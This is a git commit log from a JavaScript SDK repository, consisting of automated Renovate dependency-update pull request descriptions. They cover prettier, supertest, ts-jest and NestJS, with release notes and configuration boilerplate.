##### Use `"json"` parser for `tsconfig.json` by default
([#&#8203;16012](https://togithub.com/prettier/prettier/pull/16012) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

In
[v2.3.0](https://prettier.io/blog/2024/01/12/3.2.0#new-jsonc-parser-added-15831httpsgithubcomprettierprettierpull15831-by-fiskerhttpsgithubcomfisker),
we introduced `"jsonc"` parser which adds trialing comma **by default**.

When adding a new parser we also define how it will be used based on the
[`linguist-languages`](https://www.npmjs.com/package/linguist-languages)
data.

`tsconfig.json` is a special file used by
[TypeScript](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html#using-tsconfigjson-or-jsconfigjson),
it uses `.json` file extension, but it actually uses the [JSON with
Comments](https://code.visualstudio.com/docs/languages/json#\_json-with-comments)
syntax. However, we found that there are many third-party tools not
recognize it correctly because of the confusing `.json` file extension.

We decide to treat it as a JSON file for now to avoid the extra
configuration step.

To keep using the `"jsonc"` parser for your `tsconfig.json` files, add
the following to your `.pretterrc` file

```json
{
  "overrides": [
    {
      "files": ["tsconfig.json", "jsconfig.json"],
      "options": {
        "parser": "jsonc"
      }
    }
  ]
}
```

<!-- prettier-ignore -->

```
```

###
[`v3.2.4`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#324)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.3...3.2.4)

[diff](https://togithub.com/prettier/prettier/compare/3.2.3...3.2.4)

##### Fix incorrect parser inference
([#&#8203;15947](https://togithub.com/prettier/prettier/pull/15947) by
[@&#8203;fisker](https://togithub.com/fisker))

Files like `.eslintrc.json` were incorrectly formatted as JSONC files.

<!-- prettier-ignore -->

```jsx
// Input
prettier --file-info .eslintrc.json
{ "ignored": false, "inferredParser": "jsonc" }

// Prettier 3.2.4
prettier --file-info .eslintrc.json
{ "ignored": false, "inferredParser": "json" }
```

###
[`v3.2.3`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#323)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.2...3.2.3)

[diff](https://togithub.com/prettier/prettier/compare/3.2.2...3.2.3)

##### Throw errors for invalid code
([#&#8203;15881](https://togithub.com/prettier/prettier/pull/15881) by
[@&#8203;fisker](https://togithub.com/fisker),
[@&#8203;Josh-Cena](https://togithub.com/Josh-Cena),
[@&#8203;auvred](https://togithub.com/auvred))

<!-- prettier-ignore -->

```ts
// Input
1++;

// Prettier 3.2.2
1++;

// Prettier 3.2.3
SyntaxError: Invalid left-hand side expression in unary operation (1:1)
> 1 | 1++;
    | ^
```

<!-- prettier-ignore -->

```ts
// Input
try {} catch (error = 1){}

// Prettier 3.2.2
try {
} catch (error) {}

// Prettier 3.2.3
SyntaxError: Catch clause variable cannot have an initializer. (1:23)
> 1 | try {} catch (error = 1){}
    |                       ^
```

##### Fix parser inference
([#&#8203;15927](https://togithub.com/prettier/prettier/pull/15927) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```console
// Prettier 3.2.2
prettier --file-info tsconfig.json
{ "ignored": false, "inferredParser": "json" }

// Prettier 3.2.3
prettier --file-info tsconfig.json
{ "ignored": false, "inferredParser": "jsonc" }
```

###
[`v3.2.2`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#322)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.1...3.2.2)

[diff](https://togithub.com/prettier/prettier/compare/3.2.1...3.2.2)

##### Fix crash when parsing template literal CSS in a JSX style tag
using a spread attribute
([#&#8203;15896](https://togithub.com/prettier/prettier/pull/15896) by
[@&#8203;eelco](https://togithub.com/eelco))

For example this code would crash before:

<!-- prettier-ignore -->

```jsx
<style {...spread}>{`.{}`}</style>
```

##### Fix formatting error on optional call expression and member chain
([#&#8203;15920](https://togithub.com/prettier/prettier/pull/15920) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

```jsx
// Input
a(() => {}, c?.d());

// Prettier 3.2.1
TypeError: Cannot read properties of undefined (reading 'type')

// Prettier 3.2.2
a(() => {}, c?.d());
```

###
[`v3.2.1`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#321)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.0...3.2.1)

[diff](https://togithub.com/prettier/prettier/compare/3.2.0...3.2.1)

##### Fix formatting error on member chain
([#&#8203;15915](https://togithub.com/prettier/prettier/pull/15915) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

```jsx
// Input
test().test2().test2(thing?.something);

// Prettier 3.2.0
TypeError: Cannot read properties of undefined (reading 'type')

// Prettier 3.2.1
test().test2().test2(thing?.something);

```

###
[`v3.2.0`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#320)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.1.1...3.2.0)

[diff](https://togithub.com/prettier/prettier/compare/3.1.1...3.2.0)

🔗 [Release Notes](https://prettier.io/blog/2024/01/13/3.2.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjE3My4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-08 13:37:03 -05:00
renovate[bot] 8b6b834f42
chore(deps): update dependency supertest to v6.3.4 (#777)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [supertest](https://togithub.com/ladjs/supertest) | [`6.3.3` ->
`6.3.4`](https://renovatebot.com/diffs/npm/supertest/6.3.3/6.3.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/supertest/6.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/supertest/6.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/supertest/6.3.3/6.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/supertest/6.3.3/6.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>ladjs/supertest (supertest)</summary>

### [`v6.3.4`](https://togithub.com/ladjs/supertest/releases/tag/v6.3.4)

[Compare
Source](https://togithub.com/ladjs/supertest/compare/v6.3.3...v6.3.4)

- chore: bump deps, remove yarn.lock
[`bc4398a`](https://togithub.com/ladjs/supertest/commit/bc4398a)
- chore: bump deps
[`c823515`](https://togithub.com/ladjs/supertest/commit/c823515)
- Merge pull request
[#&#8203;811](https://togithub.com/ladjs/supertest/issues/811) from
ladjs/dependabot/npm_and_yarn/cookiejar-2.1.4
[`37017b3`](https://togithub.com/ladjs/supertest/commit/37017b3)
- Merge pull request
[#&#8203;814](https://togithub.com/ladjs/supertest/issues/814) from
siddtheone/patch-1
[`6b41374`](https://togithub.com/ladjs/supertest/commit/6b41374)
- Merge pull request
[#&#8203;828](https://togithub.com/ladjs/supertest/issues/828) from
9renpoto/9renpoto-patch-1
[`0ff9c02`](https://togithub.com/ladjs/supertest/commit/0ff9c02)
- si/visionmedia/ladjs/
[`2cba6d4`](https://togithub.com/ladjs/supertest/commit/2cba6d4)
- Update package.json
[`79a69b6`](https://togithub.com/ladjs/supertest/commit/79a69b6)
- Merge pull request
[#&#8203;821](https://togithub.com/ladjs/supertest/issues/821) from
yunnysunny/feature/ci-fix
[`c1b8f9d`](https://togithub.com/ladjs/supertest/commit/c1b8f9d)
- ci: fix broken github action cache saving
[`5d48749`](https://togithub.com/ladjs/supertest/commit/5d48749)
- Merge pull request
[#&#8203;818](https://togithub.com/ladjs/supertest/issues/818) from
lamweili/patch-1
[`25920e7`](https://togithub.com/ladjs/supertest/commit/25920e7)
- docs: fixed links (for
[#&#8203;621](https://togithub.com/ladjs/supertest/issues/621))
[`3767f9e`](https://togithub.com/ladjs/supertest/commit/3767f9e)
- Update README.md
[`b81d3a4`](https://togithub.com/ladjs/supertest/commit/b81d3a4)
- Removing unused import
[`4b372eb`](https://togithub.com/ladjs/supertest/commit/4b372eb)
- chore(deps): bump cookiejar from 2.1.3 to 2.1.4
[`ac9327f`](https://togithub.com/ladjs/supertest/commit/ac9327f)
- Merge pull request
[#&#8203;646](https://togithub.com/ladjs/supertest/issues/646) from
dtom90/patch-1
[`44d5d72`](https://togithub.com/ladjs/supertest/commit/44d5d72)
- Merge pull request
[#&#8203;621](https://togithub.com/ladjs/supertest/issues/621) from
RichieRunner/patch-1
[`d91ff37`](https://togithub.com/ladjs/supertest/commit/d91ff37)
- Update index.js function definition
[`9ee6a1b`](https://togithub.com/ladjs/supertest/commit/9ee6a1b)
- Update README.md
[`13a2b44`](https://togithub.com/ladjs/supertest/commit/13a2b44)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-02-08 13:36:35 -05:00
renovate[bot] 4764fb785a
chore(deps): update dependency ts-jest to v29.1.2 (#790)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [ts-jest](https://kulshekhar.github.io/ts-jest)
([source](https://togithub.com/kulshekhar/ts-jest)) | [`29.1.1` ->
`29.1.2`](https://renovatebot.com/diffs/npm/ts-jest/29.1.1/29.1.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/ts-jest/29.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ts-jest/29.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ts-jest/29.1.1/29.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ts-jest/29.1.1/29.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>kulshekhar/ts-jest (ts-jest)</summary>

###
[`v29.1.2`](https://togithub.com/kulshekhar/ts-jest/blob/HEAD/CHANGELOG.md#2912-2024-01-22)

[Compare
Source](https://togithub.com/kulshekhar/ts-jest/compare/v29.1.1...v29.1.2)

##### Bug Fixes

- calculated cache key based on `supportsStaticESM`
([a5d6f2d](a5d6f2d4f4))
- correct error handling in `processAsync`
([e7be4bf](e7be4bf6a8)),
closes
[#&#8203;4207](https://togithub.com/kulshekhar/ts-jest/issues/4207)
- use `Config.ProjectConfig`
([918312b](918312bee2)),
closes
[#&#8203;4028](https://togithub.com/kulshekhar/ts-jest/issues/4028)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xMzUuMCIsInVwZGF0ZWRJblZlciI6IjM3LjEzNS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-02-08 13:36:09 -05:00
renovate[bot] 45e1337013
chore(deps): update nest monorepo to v10.3.1 (#780)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/common)) |
[`10.2.10` ->
`10.3.1`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.2.10/10.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/core)) |
[`10.2.10` ->
`10.3.1`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.2.10/10.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`10.2.10` ->
`10.3.1`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.2.10/10.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/testing](https://nestjs.com)
([source](https://togithub.com/nestjs/nest/tree/HEAD/packages/testing))
| [`10.2.10` ->
`10.3.1`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.2.10/10.3.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.2.10/10.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v10.3.1`](https://togithub.com/nestjs/nest/compare/v10.3.0...v10.3.1)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.0...v10.3.1)

### [`v10.3.0`](https://togithub.com/nestjs/nest/releases/tag/v10.3.0)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.2.10...v10.3.0)

##### v10.3.0 (2023-12-18)

##### Enhancements

-   `platform-fastify`
- [#&#8203;12567](https://togithub.com/nestjs/nest/pull/12567)
feat(fastify): add fastify route constraints
([@&#8203;Fcmam5](https://togithub.com/Fcmam5))
-   `microservices`
- [#&#8203;12175](https://togithub.com/nestjs/nest/pull/12175)
feat(microservices): Added invalid-grpc-message-decorator.exception.ts
([@&#8203;PhilipMantrov](https://togithub.com/PhilipMantrov))
-   `common`, `core`, `microservices`, `platform-express`
- [#&#8203;12753](https://togithub.com/nestjs/nest/pull/12753) perf:
prefer use factory instead of use value when possible
([@&#8203;H4ad](https://togithub.com/H4ad))
-   `core`
- [#&#8203;12924](https://togithub.com/nestjs/nest/pull/12924)
feat(core): add options parameter to repl
([@&#8203;othierry](https://togithub.com/othierry))
-   `common`, `core`, `microservices`, `platform-socket.io`
- [#&#8203;12905](https://togithub.com/nestjs/nest/pull/12905)
feat(core): display module's name on `.select(module)` errors
([@&#8203;micalevisk](https://togithub.com/micalevisk))
-   `common`
- [#&#8203;12817](https://togithub.com/nestjs/nest/pull/12817)
fix(common): type def for cors delegated callback function option
([@&#8203;micalevisk](https://togithub.com/micalevisk))

##### Dependencies

-   Other
- [#&#8203;12891](https://togithub.com/nestjs/nest/pull/12891)
chore(deps): update dependency
[@&#8203;types/jest](https://togithub.com/types/jest) to v29.5.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12935](https://togithub.com/nestjs/nest/pull/12935)
chore(deps): update dependency nodemon to v3.0.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12833](https://togithub.com/nestjs/nest/pull/12833)
chore(deps): update dependency typescript to v5.3.3
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12832](https://togithub.com/nestjs/nest/pull/12832)
chore(deps): update dependency ts-loader to v9.5.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12939](https://togithub.com/nestjs/nest/pull/12939)
fix(deps): update dependency mercurius to v13.3.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12941](https://togithub.com/nestjs/nest/pull/12941)
fix(deps): update dependency sequelize to v6.35.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12810](https://togithub.com/nestjs/nest/pull/12810)
fix(deps): update nest monorepo
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;11952](https://togithub.com/nestjs/nest/pull/11952)
fix(deps): update dependency
[@&#8203;nestjs/apollo](https://togithub.com/nestjs/apollo) to v12.0.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12930](https://togithub.com/nestjs/nest/pull/12930)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.4 to
20.10.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12932](https://togithub.com/nestjs/nest/pull/12932)
chore(deps-dev): bump eslint from 8.55.0 to 8.56.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12911](https://togithub.com/nestjs/nest/pull/12911)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.13.2 to 6.14.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12908](https://togithub.com/nestjs/nest/pull/12908)
chore(deps-dev): bump prettier from 3.1.0 to 3.1.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12909](https://togithub.com/nestjs/nest/pull/12909)
chore(deps-dev): bump ts-node from 10.9.1 to 10.9.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12912](https://togithub.com/nestjs/nest/pull/12912)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.2 to 6.14.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12917](https://togithub.com/nestjs/nest/pull/12917)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.12 to
1.9.13
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12920](https://togithub.com/nestjs/nest/pull/12920)
chore(deps): bump github/codeql-action from 2 to 3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12923](https://togithub.com/nestjs/nest/pull/12923)
chore(deps-dev): bump eslint-plugin-import from 2.29.0 to 2.29.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12888](https://togithub.com/nestjs/nest/pull/12888)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.13.1 to 6.13.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12900](https://togithub.com/nestjs/nest/pull/12900)
chore(deps-dev): bump mongoose from 8.0.2 to 8.0.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12901](https://togithub.com/nestjs/nest/pull/12901)
chore(deps): bump reflect-metadata from 0.1.13 to 0.1.14
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12902](https://togithub.com/nestjs/nest/pull/12902)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.3 to
20.10.4
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12887](https://togithub.com/nestjs/nest/pull/12887)
chore(deps-dev): bump mqtt from 5.3.2 to 5.3.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12896](https://togithub.com/nestjs/nest/pull/12896)
chore(deps-dev): bump artillery from 2.0.2 to 2.0.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12897](https://togithub.com/nestjs/nest/pull/12897)
chore(deps-dev): bump typescript from 5.3.2 to 5.3.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12889](https://togithub.com/nestjs/nest/pull/12889)
chore(deps-dev): bump core-js from 3.33.3 to 3.34.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12873](https://togithub.com/nestjs/nest/pull/12873)
chore(deps-dev): bump eslint from 8.54.0 to 8.55.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12876](https://togithub.com/nestjs/nest/pull/12876)
chore(deps-dev): bump nodemon from 3.0.1 to 3.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12863](https://togithub.com/nestjs/nest/pull/12863)
chore(deps-dev): bump mongoose from 8.0.1 to 8.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12868](https://togithub.com/nestjs/nest/pull/12868)
chore(deps): bump sequelize-typescript from 2.1.5 to 2.1.6 in
/sample/07-sequelize
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12872](https://togithub.com/nestjs/nest/pull/12872)
chore(deps-dev): bump artillery from 2.0.1 to 2.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12874](https://togithub.com/nestjs/nest/pull/12874)
chore(deps-dev): bump eslint-config-prettier from 9.0.0 to 9.1.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12875](https://togithub.com/nestjs/nest/pull/12875)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.0 to
20.10.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12877](https://togithub.com/nestjs/nest/pull/12877)
chore(deps-dev): bump lint-staged from 15.1.0 to 15.2.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12878](https://togithub.com/nestjs/nest/pull/12878)
chore(deps-dev): bump ts-morph from 20.0.0 to 21.0.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12882](https://togithub.com/nestjs/nest/pull/12882)
chore(deps-dev): bump mqtt from 5.3.1 to 5.3.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12883](https://togithub.com/nestjs/nest/pull/12883)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.1 to 6.13.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12869](https://togithub.com/nestjs/nest/pull/12869)
fix(deps): update dependency sequelize-typescript to v2.1.6 \[security]
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12861](https://togithub.com/nestjs/nest/pull/12861)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.0 to 6.13.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12862](https://togithub.com/nestjs/nest/pull/12862)
chore(deps-dev): bump mqtt from 5.3.0 to 5.3.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12859](https://togithub.com/nestjs/nest/pull/12859)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.12.0 to 6.13.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12807](https://togithub.com/nestjs/nest/pull/12807)
fix(deps): update dependency
[@&#8203;nestjs/typeorm](https://togithub.com/nestjs/typeorm) to v10.0.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12852](https://togithub.com/nestjs/nest/pull/12852)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.9.5 to
20.10.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12794](https://togithub.com/nestjs/nest/pull/12794)
chore(deps): update dependency
[@&#8203;types/jest](https://togithub.com/types/jest) to v29.5.10
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12798](https://togithub.com/nestjs/nest/pull/12798)
chore(deps): update dependency
[@&#8203;types/supertest](https://togithub.com/types/supertest) to
v2.0.16 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12840](https://togithub.com/nestjs/nest/pull/12840)
fix(deps): update dependency mongodb to v6.3.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12853](https://togithub.com/nestjs/nest/pull/12853)
chore(deps-dev): bump artillery from 1.7.9 to 2.0.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12855](https://togithub.com/nestjs/nest/pull/12855)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.12.0 to 6.13.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12856](https://togithub.com/nestjs/nest/pull/12856)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.11 to
1.9.12
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12809](https://togithub.com/nestjs/nest/pull/12809)
fix(deps): update dependency mysql2 to v3.6.5
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12824](https://togithub.com/nestjs/nest/pull/12824)
chore(deps-dev): bump typescript from 5.2.2 to 5.3.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12828](https://togithub.com/nestjs/nest/pull/12828)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.9.4 to
20.9.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12820](https://togithub.com/nestjs/nest/pull/12820)
chore(deps-dev): bump
[@&#8203;types/chai](https://togithub.com/types/chai) from 4.3.10 to
4.3.11
